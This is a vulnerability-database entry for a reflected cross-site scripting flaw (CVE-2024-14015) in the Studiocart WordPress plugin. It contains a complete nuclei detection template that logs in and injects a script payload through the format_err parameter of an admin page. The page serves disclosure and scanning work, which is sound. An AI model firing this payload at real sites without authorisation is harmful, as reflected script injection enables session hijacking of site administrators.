HexBrain

Browse / CVEs / CVE-2024-14015

CVE-2024-14015

Studiocart <= 2.9.0 - Cross-Site Scripting

mediumseverity
0.4%likelihood of exploitation, next 30 days
38%of all CVEs are less likely
Readycheck to confirm it

The Studiocart plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in versions up to, and including, 2.9.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

Impact

Attackers can execute scripts in the context of high privilege users, potentially leading to session hijacking or privilege escalation.

Fix

Update to the latest version beyond 2.9.0.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, 'wordpress_logged_in')
Send: GET /wp-admin/edit.php?post_type=sc_order&order_type=orders&format_err=1{{payload}}
Positive when: status_code == 200 and contains(body, "<script>alert(document.domain)</script>") and contains(body, "sc_product") && contains(body, "sc_order")

Run it with nuclei: nuclei -id CVE-2024-14015 -u <target>

The full check
id: CVE-2024-14015

info:
  name: Studiocart <= 2.9.0 - Cross-Site Scripting
  author: Shivam Kamboj
  severity: medium
  description: |
    The Studiocart plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in versions up to, and including, 2.9.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
  impact: |
    Attackers can execute scripts in the context of high privilege users, potentially leading to session hijacking or privilege escalation.
  remediation: |
    Update to the latest version beyond 2.9.0.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-14015
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2024,wordpress,wp,wp-plugin,studiocart,xss,reflected,authenticated

variables:
  payload: '"></script><script>alert(document.domain)</script><script>'

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, 'wordpress_logged_in')
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/edit.php?post_type=sc_order&order_type=orders&format_err=1{{payload}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - 'contains(body, "<script>alert(document.domain)</script>")'
          - 'contains(body, "sc_product") && contains(body, "sc_order")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from